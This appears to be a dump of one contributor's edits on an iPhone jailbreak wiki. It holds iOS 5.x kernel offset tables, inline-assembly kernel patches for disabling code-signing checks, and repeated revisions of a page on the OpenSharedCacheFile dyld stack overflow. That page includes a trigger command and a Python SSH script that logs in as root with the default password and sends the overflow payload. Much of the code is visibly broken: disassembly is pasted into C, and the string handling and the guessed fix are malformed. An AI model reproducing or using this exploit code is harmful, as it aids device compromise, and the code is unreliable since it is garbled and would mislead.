! [[K48ap|k48ap]]<br />
! [[N18ap|n18ap]]<br />
! [[N81ap|n81ap]]<br />
! [[N88ap|n88ap]]<br />
! [[N90ap|n90ap]]<br />
! [[N92ap|n92ap]]<br />
|-<br />
| KERNEL_CS_ENFORCEMENT<br />
| 0x80045738<br />
| 0x80045738<br />
| 0x80045738<br />
| 0x80045738<br />
| 0x80045738<br />
| 0x80045738<br />
|-<br />
| KERNEL_FLUSH_DCACHE<br />
| 0x800719C4<br />
| 0x800719C4<br />
| 0x800719C4<br />
| 0x800719C4<br />
| 0x800719C4<br />
| 0x800719C4<br />
|-<br />
| KERNEL_FLUSH_ICACHE<br />
| 0x80071AC4<br />
| 0x80071AC4<br />
| 0x80071AC4<br />
| 0x80071AC4<br />
| 0x80071AC4<br />
| 0x80071AC4<br />
|-<br />
| KERNEL_IOLOG<br />
| 0x80203F7D<br />
| 0x80203F7D<br />
| 0x80203F7D<br />
| 0x80203F7D<br />
| 0x80203F7D<br />
| 0x80203F7D<br />
|-<br />
| KERNEL_NX_ENABLE<br />
| 0x802BAB84<br />
| 0x802BAB84<br />
| 0x802BAB84<br />
| 0x802BAB84<br />
| 0x802BAB84<br />
| 0x802BAB84<br />
|-<br />
| KERNEL_PE_DEBUGGER<br />
| 0x802417A4<br />
| 0x802417A0<br />
| 0x802417A4<br />
| 0x802417A0<br />
| 0x802417A4<br />
| 0x802417A4<br />
|-<br />
| KERNEL_SYSCALL0<br />
| 0x802CCBB0<br />
| 0x802CCBB0<br />
| 0x802CCBB0<br />
| 0x802CCBB0<br />
| 0x802CCBB0<br />
| 0x802CCBB0<br />
|-<br />
| KERNEL_SYSCALL0_VALUE<br />
| 0x801B3015<br />
| 0x801B3015<br />
| 0x801B3015<br />
| 0x801B3015<br />
| 0x801B3015<br />
| 0x801B3015<br />
|-<br />
| KERNEL_TASK_FOR_PID0<br />
| 0x801DFB40<br />
| 0x801DFB40<br />
| 0x801DFB40<br />
| 0x801DFB40<br />
| 0x801DFB40<br />
| 0x801DFB40<br />
|-<br />
| KERNEL_VM_ENTER<br />
| 0x800497D4<br />
| 0x800497D4<br />
| 0x800497D4<br />
| 0x800497D4<br />
| 0x800497D4<br />
| 0x800497D4<br />
|}<br />
<br />
==== iOS 5.1 - 9B176 ====<br />
{| class="wikitable" style="font-size:smaller;"<br />
|-<br />
! Symbol<br />
! [[K48ap|k48ap]]<br />
! [[N18ap|n18ap]]<br />
! [[N81ap|n81ap]]<br />
! [[N88ap|n88ap]]<br />
! [[N90ap|n90ap]]<br />
! [[N92ap|n92ap]]<br />
|-<br />
| KERNEL_AMFI<br />
| <br />
| <br />
| <br />
| <br />
| <br />
| 0x805D6718<br />
|-<br />
| KERNEL_AMFI_KILL<br />
| <br />
| <br />
| <br />
| <br />
| <br />
| 0x805D62F2<br />
|-<br />
| KERNEL_CS_ENFORCEMENT<br />
| 0x80045874<br />
| 0x80045874<br />
| 0x80045874<br />
| 0x80045874<br />
| 0x80045874<br />
| 0x80045874<br />
|-<br />
| KERNEL_FLUSH_DCACHE<br />
| 0x80072204<br />
| 0x80072204<br />
| 0x80072204<br />
| 0x80072204<br />
| 0x80072204<br />
| 0x80072204<br />
|-<br />
| KERNEL_FLUSH_ICACHE<br />
| 0x80072304<br />
| 0x80072304<br />
| 0x80072304<br />
| 0x80072304<br />
| 0x80072304<br />
| 0x80072304<br />
|-<br />
| KERNEL_IOLOG<br />
| 0x802049DD<br />
| 0x802049DD<br />
| 0x802049DD<br />
| 0x802049DD<br />
| 0x802049DD<br />
| 0x802049DD<br />
|-<br />
| KERNEL_NX_ENABLE<br />
| 0x802BAB84<br />
| 0x802BAB84<br />
| 0x802BAB84<br />
| 0x802BAB84<br />
| 0x802BAB84<br />
| 0x802BAB84<br />
|-<br />
| KERNEL_PE_DEBUGGER<br />
| 0x8024220C<br />
| 0x80242208<br />
| 0x8024220C<br />
| 0x80242208<br />
| 0x8024220C<br />
| 0x8024220C<br />
|-<br />
| KERNEL_SANDBOX<br />
| <br />
| <br />
| <br />
| <br />
| <br />
| 0x805EE61E<br />
|-<br />
| KERNEL_SYSCALL0<br />
| 0x802CCBB0<br />
| 0x802CCBB0<br />
| 0x802CCBB0<br />
| 0x802CCBB0<br />
| 0x802CCBB0<br />
| 0x802CCBB0<br />
|-<br />
| KERNEL_SYSCALL0_VALUE<br />
| 0x801B3AA5<br />
| 0x801B3AA5<br />
| 0x801B3AA5<br />
| 0x801B3AA5<br />
| 0x801B3AA5<br />
| 0x801B3AA5<br />
|-<br />
| KERNEL_TASK_FOR_PID0<br />
| 0x801E05B4<br />
| 0x801E05B4<br />
| 0x801E05B4<br />
| 0x801E05B4<br />
| 0x801E05B4<br />
| 0x801E05B4<br />
|-<br />
| KERNEL_VM_ENTER<br />
| 0x8004992C<br />
| 0x8004992C<br />
| 0x8004992C<br />
| 0x8004992C<br />
| 0x8004992C<br />
| 0x8004992C<br />
|}<br />
<br />
==== iOS 5.1.1 - 9B206 ====<br />
{| class="wikitable" style="font-size:smaller;"<br />
|-<br />
! Symbol<br />
! [[K48ap|k48ap]]<br />
! [[N18ap|n18ap]]<br />
! [[N81ap|n81ap]]<br />
! [[N88ap|n88ap]]<br />
! [[N90ap|n90ap]]<br />
! [[N92ap|n92ap]]<br />
|-<br />
| KERNEL_CS_ENFORCEMENT<br />
| 0x80045874<br />
| 0x80045874<br />
| 0x80045874<br />
| 0x80045874<br />
| 0x80045874<br />
| 0x80045874<br />
|-<br />
| KERNEL_FLUSH_DCACHE<br />
| 0x80072204<br />
| 0x80072204<br />
| 0x80072204<br />
| 0x80072204<br />
| 0x80072204<br />
| 0x80072204<br />
|-<br />
| KERNEL_FLUSH_ICACHE<br />
| 0x80072304<br />
| 0x80072304<br />
| 0x80072304<br />
| 0x80072304<br />
| 0x80072304<br />
| 0x80072304<br />
|-<br />
| KERNEL_IOLOG<br />
| 0x802049DD<br />
| 0x802049DD<br />
| 0x802049DD<br />
| 0x802049DD<br />
| 0x802049DD<br />
| 0x802049DD<br />
|-<br />
| KERNEL_NX_ENABLE<br />
| 0x802BBB84<br />
| 0x802BBB84<br />
| 0x802BBB84<br />
| 0x802BBB84<br />
| 0x802BBB84<br />
| 0x802BBB84<br />
|-<br />
| KERNEL_PE_DEBUGGER<br />
| 0x8024220C<br />
| 0x80242208<br />
| 0x8024220C<br />
| 0x80242208<br />
| 0x8024220C<br />
| 0x8024220C<br />
|-<br />
| KERNEL_SYSCALL0<br />
| 0x802CDBB0<br />
| 0x802CDBB0<br />
| 0x802CDBB0<br />
| 0x802CDBB0<br />
| 0x802CDBB0<br />
| 0x802CDBB0<br />
|-<br />
| KERNEL_SYSCALL0_VALUE<br />
| 0x801B3AA5<br />
| 0x801B3AA5<br />
| 0x801B3AA5<br />
| 0x801B3AA5<br />
| 0x801B3AA5<br />
| 0x801B3AA5<br />
|-<br />
| KERNEL_TASK_FOR_PID0<br />
| 0x801E05B4<br />
| 0x801E05B4<br />
| 0x801E05B4<br />
| 0x801E05B4<br />
| 0x801E05B4<br />
| 0x801E05B4<br />
|-<br />
| KERNEL_VM_ENTER<br />
| 0x8004992C<br />
| 0x8004992C<br />
| 0x8004992C<br />
| 0x8004992C<br />
| 0x8004992C<br />
| 0x8004992C<br />
|}<br />
<br />
==== iOS 5.1.1r - 9B208 ====<br />
{| class="wikitable" style="font-size:smaller;"<br />
|-<br />
! Symbol<br />
! [[N90ap|n90ap]]<br />
|-<br />
| KERNEL_CS_ENFORCEMENT<br />
| 0x80045874<br />
|-<br />
| KERNEL_FLUSH_DCACHE<br />
| 0x80072204<br />
|-<br />
| KERNEL_FLUSH_ICACHE<br />
| 0x80072304<br />
|-<br />
| KERNEL_IOLOG<br />
| 0x802049DD<br />
|-<br />
| KERNEL_NX_ENABLE<br />
| 0x802BBB84<br />
|-<br />
| KERNEL_PE_DEBUGGER<br />
| 0x8024220C<br />
|-<br />
| KERNEL_SYSCALL0<br />
| 0x802CDBB0<br />
|-<br />
| KERNEL_SYSCALL0_VALUE<br />
| 0x801B3AA5<br />
|-<br />
| KERNEL_TASK_FOR_PID0<br />
| 0x801E05B4<br />
|-<br />
| KERNEL_VM_ENTER<br />
| 0x8004992C<br />
|}<br />
<br />
== Patching the kernel (using inline ASM) ==<br />
<br />
Here are some functions, patched to be able to be used for jailbreak kernel patches,<br />
for vm_map_protect here is the function.<br />
<br />
int vm_map_protect_patch()<br />
{<br />
__asm{<br />
AND.W R1, R6, #8<br />
CMP R1, #6<br />
IT EQ<br />
TSTEQ.W R0, #0x40000000<br />
BNE loc_8004A96A<br />
BIC.W R6, R6, #4<br />
}<br />
}<br />
<br />
For vm_map_enter<br />
<br />
int vm_map_enter_patch()<br />
{<br />
__asm {<br />
LDR R1, [R7,#cur_protection]<br />
AND.W R0, R4, #0x80000<br />
STR R0, [SP,#0xB8+var_54]<br />
STR R1, [SP,#0xB8+var_78]<br />
AND.W R0, R1, #8<br />
CMP R0, #6<br />
ITT EQ<br />
LDREQ R0, [SP,#0xB8+var_54]<br />
CMPEQ R0, #0<br />
BNE loc_800497F0<br />
LDR.W R1, =aKern_return_<br />
MOVS R0, #0<br />
BL sub_8001D608<br />
LDR R0, [R7,#cur_protection]<br />
BIC.W R0, R0, #4<br />
STR R0, [SP,#0xB8+var_78]<br />
}<br />
}<br />
<br />
For cs_enforcement_disable (kernel)<br />
<br />
int cs_kern_patch()<br />
{<br />
__asm LDR.W R3, =dword_802DE330<br />
__asm MRC p15, 0, R0,c13,c0, 4<br />
__asm LDR R2, [R4,#0x28]<br />
__asm LDR R3, #1<br />
__asm CMP R3, #0<br />
}<br />
<br />
To use this in an untether, use find_vm_map_enter_patch(), find_vm_map_protect_patch() and find_cs_enforcement_disable_kernel() from <br />
planetbeings ios-jailbreak-finder, then use bcopy() to copy these functions (which are patched) to the address of the actual functions<br />
heres an example<br />
<br />
uint32_t *p = malloc(0xd00000)<br />
uint32_t cs_kern = find_cs_enforcement_disable(kernel_file, p, sizeof(p));<br />
bcopy((void*)cs_kern_patch, cs_kern, sizeof(cs_kern_patch));<br />
<br />
==References==<br />
* See also the [[:Category:Kernel Patches|category Kernel Patches]]<br />
<br />
[[Category:Patches]]<br />
[[Category:Kernel Patches]]</div>
Sjeezpwn
https://www.theiphonewiki.com/w/index.php?title=OpenSharedCacheFile&diff=45198
OpenSharedCacheFile
2015-03-25T02:21:54Z
<p>Sjeezpwn: /* Exploiting it */</p>
<hr />
<div>The OpenSharedCacheFile bug was found by [[i0n1c]]. This bug is a simple stack overflow.<br />
== Opensharedcachefile() function ==<br />
int openSharedCacheFile()<br />
{<br />
char path[1024];<br />
strcpy(path, sSharedCacheDir);<br />
strcat(path, "/");<br />
strcat(path, DYLD_SHARED_CACHE_BASE_NAME ARCH_NAME);<br />
return ::open(path, O_RDONLY);<br />
}<br />
<br />
== Triggering the vuln ==<br />
<br />
To trigger it, run the following<br />
DYLD_SHARED_CACHE_DIR = "A" * 2000 \<br />
DYLD_SHARED_REGION = private /bin/launchctl<br />
This will overflow the PC register making it a stack overflow.<br />
<br />
== Exploiting it ==<br />
<br />
Since this bug can takeover the PC register, you first need to know where the bug starts <br />
for now lets say it crashes after 1024 A's, so your payload to get root would be<br />
junk = "A" * 1024 <br />
shellcode = ""<br />
payload = "DYLD_SHARED_CACHE_DIR" <br />
actual = payload+junk+shellcode \<br />
cmd = "DYLD_SHARED_REGION = "private /bin/launchctl" <br />
ssh = paramiko.SSHClient()<br />
server = "" #whatever IP <br />
ssh.connect(server, username="root", password="alpine")<br />
ssh.exec_command(actual)<br />
ssh.exec_command(cmd)<br />
<br />
== Apple's fix ==<br />
<br />
I'mguessing they added an if-statement to check for the size sSharedCacheDir<br />
so like this.<br />
<br />
extern void _ZN4dyld4haltEPKc(const char* msg) __attribute__((noreturn));<br />
void __stack_chk_fail()<br />
{<br />
_ZN4dyld4haltEPKc("stack buffer overrun");<br />
}<br />
<br />
if(sizeof(sSharedCacheDir >= 1024){<br />
__stack_chk_fail();<br />
}</div>
Sjeezpwn
https://www.theiphonewiki.com/w/index.php?title=OpenSharedCacheFile&diff=45197
OpenSharedCacheFile
2015-03-25T01:30:14Z
<p>Sjeezpwn: </p>
<hr />
<div>The OpenSharedCacheFile bug was found by [[i0n1c]]. This bug is a simple stack overflow.<br />
== Opensharedcachefile() function ==<br />
int openSharedCacheFile()<br />
{<br />
char path[1024];<br />
strcpy(path, sSharedCacheDir);<br />
strcat(path, "/");<br />
strcat(path, DYLD_SHARED_CACHE_BASE_NAME ARCH_NAME);<br />
return ::open(path, O_RDONLY);<br />
}<br />
<br />
== Triggering the vuln ==<br />
<br />
To trigger it, run the following<br />
DYLD_SHARED_CACHE_DIR = "A" * 2000 \<br />
DYLD_SHARED_REGION = private /bin/launchctl<br />
This will overflow the PC register making it a stack overflow.<br />
<br />
== Exploiting it ==<br />
<br />
Since this bug can takeover the PC register, you first need to know where the bug starts <br />
for now lets say it crashes after 1024 A's, so your payload to get root would be<br />
junk = "A" * 1024 <br />
shellcode = ""<br />
payload = "DYLD_SHARED_CACHE_DIR" <br />
actual = payload+junk+shellcode \<br />
cmd = "DYLD_SHARED_REGION = "private /bin/launchctl" <br />
ssh = paramiko.SSHClient()<br />
server = "" #whatever IP <br />
ssh.connect(server, username=root, password=alpine)<br />
ssh.exec_command(actual)<br />
ssh.exec_command(cmd)<br />
<br />
== Apple's fix ==<br />
<br />
I'mguessing they added an if-statement to check for the size sSharedCacheDir<br />
so like this.<br />
<br />
extern void _ZN4dyld4haltEPKc(const char* msg) __attribute__((noreturn));<br />
void __stack_chk_fail()<br />
{<br />
_ZN4dyld4haltEPKc("stack buffer overrun");<br />
}<br />
<br />
if(sizeof(sSharedCacheDir >= 1024){<br />
__stack_chk_fail();<br />
}</div>
Sjeezpwn
https://www.theiphonewiki.com/w/index.php?title=OpenSharedCacheFile&diff=45196
OpenSharedCacheFile
2015-03-25T01:29:27Z
<p>Sjeezpwn: </p>
<hr />
<div>The OpenSharedCacheFile bug was found by [[i0n1c]]. This bug is a simple stack overflow.<br />
== Opensharedcachefile() function ==<br />
int openSharedCacheFile()<br />
{<br />
char path[1024];<br />
strcpy(path, sSharedCacheDir);<br />
strcat(path, "/");<br />
strcat(path, DYLD_SHARED_CACHE_BASE_NAME ARCH_NAME);<br />
return ::open(path, O_RDONLY);<br />
}<br />
<br />
== Triggering the vuln ==<br />
<br />
To trigger it, run the following<br />
DYLD_SHARED_CACHE_DIR = "A" * 2000 \<br />
DYLD_SHARED_REGION = private /bin/launchctl<br />
This will overflow the PC register making it a stack overflow.<br />
<br />
== Exploiting it ==<br />
<br />
Since this bug can takeover the PC register, you first need to know where the bug starts <br />
for now lets say it crashes after 1024 A's, so your payload to get root would be<br />
junk = "A" * 1024 <br />
shellcode = ""<br />
payload = "DYLD_SHARED_CACHE_DIR" <br />
actual = payload+junk+shellcode \<br />
cmd = "DYLD_SHARED_REGION = "private /bin/launchctl" <br />
ssh = paramiko.SSHClient()<br />
server = "" #whatever IP <br />
ssh.connect(server, username=root, password=alpine)<br />
ssh.exec_command(actual)<br />
ssh.exec_command(cmd)<br />
<br />
== Apple's fix ==<br />
<br />
I'mguessing they added an if-statement to check for the size sSharedCacheDir<br />
so like this.<br />
<br />
extern void _ZN4dyld4haltEPKc(const char* msg) __attribute__((noreturn));<br />
void __stack_chk_fail()<br />
{<br />
_ZN4dyld4haltEPKc("stack buffer overrun");<br />
}<br />
<br />
if(sizeof(sSharedCacheDir >= 1024){<br />
__stack_chk_fail();<br />
}</div>
Sjeezpwn
https://www.theiphonewiki.com/w/index.php?title=Talk:OpenSharedCacheFile&diff=45194
Talk:OpenSharedCacheFile
2015-03-24T22:33:37Z
<p>Sjeezpwn: </p>
<hr />
<div>Does this allow root access? Also, could we add that it was patched in 6.1.3/6.1.4 (possibly 6.1.6, I'll test that)? --[[User:Awesomebing1|Awesomebing1]] ([[User talk:Awesomebing1|talk]]) 02:13, 23 March 2015 (UTC)<br />
:[http://www.cvedetails.com/cve/CVE-2013-3950/ CVE Details] stands, that the last vulnerable version is 6.1.3. I don't think, that this vulnerability can cause any privilege escalations. --[[User:Rzhikharevich|Rzhikharevich]] ([[User talk:Rzhikharevich|talk]]) 17:16, 23 March 2015 (UTC)<br />
::I don't know for sure, but since the only changed files are various executables (e.g recompiling stuff) and the OpenSSL fix, there's nothing else changed. I will test this in a bit. --[[User:Awesomebing1|Awesomebing1]] ([[User talk:Awesomebing1|talk]]) 17:17, 23 March 2015 (UTC)<br />
:::Well, I ran it. Turns out you actually have to put 2000 As. Ugh. Anyway, it outputs <br />
<pre>dyld: stack buffer overrun<br />
Trace/BPT trap: 5</pre><br />
<br />
Not sure if that means if it was patched. I'm guessing it means it does, since in the presentation I was copying off it said it Segementation Faulted.--[[User:Awesomebing1|Awesomebing1]] ([[User talk:Awesomebing1|talk]]) 22:20, 23 March 2015 (UTC)<br />
<br />
<sjeezpwn>yes this is patched, when i said 1024 A's, that was just a guess, you have to try around 30-40 times to see where the PC register is, once you know where PC is you need to insert your shellcode right after</div>
Sjeezpwn
https://www.theiphonewiki.com/w/index.php?title=Talk:OpenSharedCacheFile&diff=45193
Talk:OpenSharedCacheFile
2015-03-24T22:32:52Z
<p>Sjeezpwn: </p>
<hr />
<div>Does this allow root access? Also, could we add that it was patched in 6.1.3/6.1.4 (possibly 6.1.6, I'll test that)? --[[User:Awesomebing1|Awesomebing1]] ([[User talk:Awesomebing1|talk]]) 02:13, 23 March 2015 (UTC)<br />
:[http://www.cvedetails.com/cve/CVE-2013-3950/ CVE Details] stands, that the last vulnerable version is 6.1.3. I don't think, that this vulnerability can cause any privilege escalations. --[[User:Rzhikharevich|Rzhikharevich]] ([[User talk:Rzhikharevich|talk]]) 17:16, 23 March 2015 (UTC)<br />
::I don't know for sure, but since the only changed files are various executables (e.g recompiling stuff) and the OpenSSL fix, there's nothing else changed. I will test this in a bit. --[[User:Awesomebing1|Awesomebing1]] ([[User talk:Awesomebing1|talk]]) 17:17, 23 March 2015 (UTC)<br />
:::Well, I ran it. Turns out you actually have to put 2000 As. Ugh. Anyway, it outputs <br />
<pre>dyld: stack buffer overrun<br />
Trace/BPT trap: 5</pre><br />
<br />
Not sure if that means if it was patched. I'm guessing it means it does, since in the presentation I was copying off it said it Segementation Faulted.--[[User:Awesomebing1|Awesomebing1]] ([[User talk:Awesomebing1|talk]]) 22:20, 23 March 2015 (UTC)<br />
<br />
yes this is patched, when i said 1024 A's, that was just a guess, you have to try around 30-40 times to see where the PC register is, once you know where PC is you need to insert your shellcode right after</div>
Sjeezpwn
https://www.theiphonewiki.com/w/index.php?title=OpenSharedCacheFile&diff=45185
OpenSharedCacheFile
2015-03-24T19:10:09Z
<p>Sjeezpwn: /* Exploiting it */</p>
<hr />
<div>The OpenSharedCacheFile bug was found by [[i0n1c]]. This bug is a simple stack overflow.<br />
== Opensharedcachefile() function ==<br />
int openSharedCacheFile()<br />
{<br />
char path[1024];<br />
strcpy(path, sSharedCacheDir);<br />
strcat(path, "/");<br />
strcat(path, DYLD_SHARED_CACHE_BASE_NAME ARCH_NAME);<br />
return ::open(path, O_RDONLY);<br />
}<br />
<br />
== Triggering the vuln ==<br />
<br />
To trigger it, run the following<br />
DYLD_SHARED_CACHE_DIR = "A" * 2000 \<br />
DYLD_SHARED_REGION = private /bin/launchctl<br />
This will overflow the PC register making it a stack overflow.<br />
<br />
== Exploiting it ==<br />
<br />
Since this bug can takeover the PC register, you first need to know where the bug starts <br />
for now lets say it crashes after 1024 A's, so your payload to get root would be<br />
junk = "A" * 1024 <br />
shellcode = ""<br />
payload = "DYLD_SHARED_CACHE_DIR" <br />
actual = payload+junk+shellcode \<br />
cmd = "DYLD_SHARED_REGION = "private /bin/launchctl" <br />
ssh = paramiko.SSHClient()<br />
server = "" #whatever IP <br />
ssh.connect(server, username=root, password=alpine)<br />
ssh.exec_command(actual)<br />
ssh.exec_command(cmd)<br />
<br />
<br />
{{stub}}</div>
Sjeezpwn
https://www.theiphonewiki.com/w/index.php?title=OpenSharedCacheFile&diff=45173
OpenSharedCacheFile
2015-03-24T02:16:10Z
<p>Sjeezpwn: </p>
<hr />
<div>The OpenSharedCacheFile bug was found by [[i0n1c]]. This bug is a simple stack overflow.<br />
== Opensharedcachefile() function ==<br />
int openSharedCacheFile()<br />
{<br />
char path[1024];<br />
strcpy(path, sSharedCacheDir);<br />
strcat(path, "/");<br />
strcat(path, DYLD_SHARED_CACHE_BASE_NAME ARCH_NAME);<br />
return ::open(path, O_RDONLY);<br />
}<br />
<br />
== Triggering the vuln ==<br />
<br />
To trigger it, run the following<br />
DYLD_SHARED_CACHE_DIR = "A" * 2000 \<br />
DYLD_SHARED_REGION = private /bin/launchctl<br />
This will overflow the PC register making it a stack overflow.<br />
<br />
== Exploiting it ==<br />
<br />
Since this bug can takeover the PC register, you first need to know where the bug starts <br />
for now lets say it crashes after 1024 A's, so your payload to get root would be<br />
junk = "A" * 1024 <br />
shellcode = ""<br />
payload = DYLD_SHARED_CACHE_DIR = junk+shellcode \<br />
cmd = DYLD_SHARED_REGION = private /bin/launchctl<br />
ssh = paramiko.SSHClient()<br />
server = "" #whatever IP <br />
ssh.connect(server, username=root, password=alpine)<br />
ssh.exec_command(payload)<br />
ssh.exec_command(cmd)<br />
<br />
<br />
{{stub}}</div>
Sjeezpwn
https://www.theiphonewiki.com/w/index.php?title=OpenSharedCacheFile&diff=45135
OpenSharedCacheFile
2015-03-23T00:54:31Z
<p>Sjeezpwn: /* Triggering the vuln = */</p>
<hr />
<div>The OpenSharedCacheFile bug was found by i0n1c, what this bug is just a simple stack overflow<br />
== Opensharedcachefile() function ==<br />
int openSharedCacheFile()<br />
{<br />
char path[1024];<br />
strcpy(path, sSharedCacheDir);<br />
strcat(path, "/");<br />
strcat(path, DYLD_SHARED_CACHE_BASE_NAME ARCH_NAME);<br />
return ::open(path, O_RDONLY);<br />
}<br />
<br />
== Triggering the vuln ==<br />
<br />
To trigger it, run the following<br />
DYLD_SHARED_CACHE_DIR = “A” * 2000 \<br />
DYLD_SHARED_REGION = private /bin/launchctl<br />
This will overflow the PC register making it a stack overflow.</div>
Sjeezpwn
https://www.theiphonewiki.com/w/index.php?title=OpenSharedCacheFile&diff=45134
OpenSharedCacheFile
2015-03-23T00:54:14Z
<p>Sjeezpwn: </p>
<hr />
<div>The OpenSharedCacheFile bug was found by i0n1c, what this bug is just a simple stack overflow<br />
== Opensharedcachefile() function ==<br />
int openSharedCacheFile()<br />
{<br />
char path[1024];<br />
strcpy(path, sSharedCacheDir);<br />
strcat(path, "/");<br />
strcat(path, DYLD_SHARED_CACHE_BASE_NAME ARCH_NAME);<br />
return ::open(path, O_RDONLY);<br />
}<br />
<br />
== Triggering the vuln ===<br />
<br />
To trigger it, run the following<br />
DYLD_SHARED_CACHE_DIR = “A” * 2000 \<br />
DYLD_SHARED_REGION = private /bin/launchctl<br />
This will overflow the PC register making it a stack overflow.</div>
Sjeezpwn
https://www.theiphonewiki.com/w/index.php?title=OpenSharedCacheFile&diff=45133
OpenSharedCacheFile
2015-03-23T00:53:18Z
<p>Sjeezpwn: Created page with "The OpenSharedCacheFile bug was found by i0n1c, what this bug is just a simple stack overflow == Opensharedcachefile() function == int openSharedCacheFile() { char path[1024]..."</p>
<hr />
<div>The OpenSharedCacheFile bug was found by i0n1c, what this bug is just a simple stack overflow<br />
== Opensharedcachefile() function ==<br />
int openSharedCacheFile()<br />
{<br />
char path[1024];<br />
strcpy(path, sSharedCacheDir);<br />
strcat(path, "/");<br />
strcat(path, DYLD_SHARED_CACHE_BASE_NAME ARCH_NAME);<br />
return ::open(path, O_RDONLY);<br />
}<br />
<br />
== Triggering the vuln ===<br />
<br />
To trigger it, run the following<br />
DYLD_SHARED_CACHE_DIR = “A” * 2000 \<br />
DYLD_SHARED_REGION = private /bin/launchctl<br />
This will overflow the PC register making it a stack overflow.</div>
Sjeezpwn
https://www.theiphonewiki.com/w/index.php?title=User:Sjeezpwn&diff=45055
User:Sjeezpwn
2015-03-15T21:14:53Z
<p>Sjeezpwn: Created page with "I code and do other stuff Working on a universal jailbreak tool that jailbreaks and iOS version from IOS 3 to 8, ETA 5 months ???"</p>
<hr />
<div>I code and do other stuff<br />
Working on a universal jailbreak tool that jailbreaks<br />
and iOS version from IOS 3 to 8, ETA 5 months ???</div>
Sjeezpwn
https://www.theiphonewiki.com/w/index.php?title=Jailbreak_Exploits&diff=44400
Jailbreak Exploits
2015-01-30T02:10:43Z
<p>Sjeezpwn: /* Pangu (7.1 / 7.1.1 / 7.1.2) */</p>
<hr />
<div>This page lists the '''exploits''' used in [[jailbreak]]s.<br />
<br />
== Common exploits which are used in order to jailbreak different versions of iOS ==<br />
* [[Pwnage]] + [[Pwnage 2.0]] (together to jailbreak the [[n82ap|iPhone 3G]])<br />
* [[ARM7 Go]] (from iOS 2.1.1) (for [[tethered jailbreak]] on [[n72ap|iPod touch 2G]])<br />
* [[0x24000 Segment Overflow]] (for [[untethered jailbreak]] on [[n88ap|iPhone 3GS]] with [[Bootrom 359.3|old bootrom]] and [[n72ap|iPod touch 2G]] with [[Bootrom 240.4|old bootrom]]; another exploit as the [[limera1n Exploit]] is required)<br />
* [[limera1n Exploit]] (for [[tethered jailbreak]] on [[n88ap|iPhone 3GS]], [[n18ap|iPod touch 3G]], [[k48ap|iPad]], [[iPhone 4]], [[n81ap|iPod touch 4G]] and [[k66ap|Apple TV 2G]])<br />
* [[usb_control_msg(0xA1, 1) Exploit]] (also known as "steaks4uce") (for [[tethered jailbreak]] on [[n72ap|iPod touch 2G]])<br />
<br />
== Programs which are used in order to jailbreak different versions of iOS ==<br />
=== [[PwnageTool]] (2.0 - 5.1.1) ===<br />
* uses different common exploits<br />
* uses the exploits listed below to untether up to iOS 5.1.1<br />
<br />
=== [[redsn0w]] (3.0 - 6.0) ===<br />
* uses different common exploits<br />
* uses the same exploits as [[Absinthe|Absinthe]] and [[Absinthe|Absinthe 2.0]] to jailbreak iOS 5.0/5.0.1 and 5.1.1<br />
* uses the exploits listed below to untether up to iOS 5.1.1<br />
<br />
=== [[sn0wbreeze]] (3.1.3 - 6.1.3) ===<br />
* uses different common exploits<br />
* uses the exploits listed below to untether up to iOS 6.1.2<br />
<br />
== Programs which are used in order to jailbreak 1.x ==<br />
=== [[AppTapp Installer]] (1.0 / 1.0.1 / 1.0.2) ===<br />
* iBoot <code>cp</code>-command exploit<br />
<br />
=== [[iBrickr]] (1.0 / 1.0.1 / 1.0.2) ===<br />
* iBoot <code>cp</code>-command exploit<br />
<br />
=== [[AppSnapp]]/[[JailbreakMe|JailbreakMe 1.0]] (1.0 / 1.0.1 / 1.0.2 / 1.1.1) ===<br />
* [[LibTiff|libtiff exploit]] (Adapted from the PSP scene, used by [[JailbreakMe]]) ({{cve|2006-3459}})<br />
<br />
=== [[mknod|OktoPrep]] (1.1.2) ===<br />
"Upgrade" to 1.1.2 from a jailborken 1.1.1<br />
* [[mknod]]<br />
<br />
=== [[Soft Upgrade]] (1.1.3) ===<br />
"Upgrade" to 1.1.3 from a running jailbroken 1.1.2<br />
<br />
=== [[ZiPhone]] (1.1.3 / 1.1.4 /1.1.5) ===<br />
* [[Ramdisk Hack]]<br />
<br />
=== [[iLiberty+|iLiberty / iLiberty+]] (1.1.3 / 1.1.4 /1.1.5) ===<br />
<br />
== Programs which are used in order to jailbreak 2.x ==<br />
=== [[QuickPwn]] (2.0 - 2.2.1) ===<br />
* uses [[Pwnage]] and [[Pwnage 2.0]]<br />
<br />
=== [[Redsn0w Lite]] (2.1.1) ===<br />
* [[ARM7 Go]] (for [[n72ap|iPod touch 2G]] only)<br />
<br />
== Programs which are used in order to jailbreak 3.x ==<br />
=== [[purplera1n]] (3.0) ===<br />
* [[iBoot Environment Variable Overflow]] ({{cve|2009-2795}})<br />
* uses [[0x24000 Segment Overflow]]<br />
<br />
=== [[blackra1n]] (3.1.2) ===<br />
* [[usb_control_msg(0x21, 2) Exploit]] ({{cve|2010-0038}})<br />
* uses [[0x24000 Segment Overflow]]<br />
<br />
=== [[Spirit]] (3.1.2 / 3.1.3 / 3.2) ===<br />
* [[MobileBackup Copy Exploit]]<br />
* [[Incomplete Codesign Exploit]]<br />
* [[BPF_STX Kernel Write Exploit]]<br />
<br />
=== [[Star|JailbreakMe 2.0 / Star]] (3.1.2 / 3.1.3 / 3.2 / 3.2.1) ===<br />
* [[Malformed CFF Vulnerability]] ({{cve|2010-1797}})<br />
* [[Incomplete Codesign Exploit]]<br />
* [[IOSurface Kernel Exploit]] ({{cve|2010-2973}})<br />
<br />
=== [[limera1n]] / [[greenpois0n (jailbreak)|greenpois0n]] (3.2.2) ===<br />
* uses different common exploits<br />
* [[Packet Filter Kernel Exploit]]<br />
<br />
== Programs which are used in order to jailbreak 4.x ==<br />
=== [[Star|JailbreakMe 2.0 / Star]] (4.0 / 4.0.1) ===<br />
* [[Malformed CFF Vulnerability]] ({{cve|2010-1797}})<br />
* [[Incomplete Codesign Exploit]]<br />
* [[IOSurface Kernel Exploit]] ({{cve|2010-2973}})<br />
<br />
=== [[limera1n]] / (4.0 / 4.0.1 / 4.0.2 / 4.1) ===<br />
* uses different common exploits<br />
* [[Packet Filter Kernel Exploit]]<br />
<br />
=== [[greenpois0n (jailbreak)|greenpois0n]] (4.1) ===<br />
* uses different common exploits<br />
* [[Packet Filter Kernel Exploit]]<br />
<br />
=== [[greenpois0n (jailbreak)|greenpois0n]] (4.2.1) ===<br />
* uses different common exploits<br />
* [[HFS Legacy Volume Name Stack Buffer Overflow]]<br />
<br />
=== [[Saffron|JailbreakMe 3.0 / Saffron]] (4.2.6 / 4.2.7 / 4.2.8) ===<br />
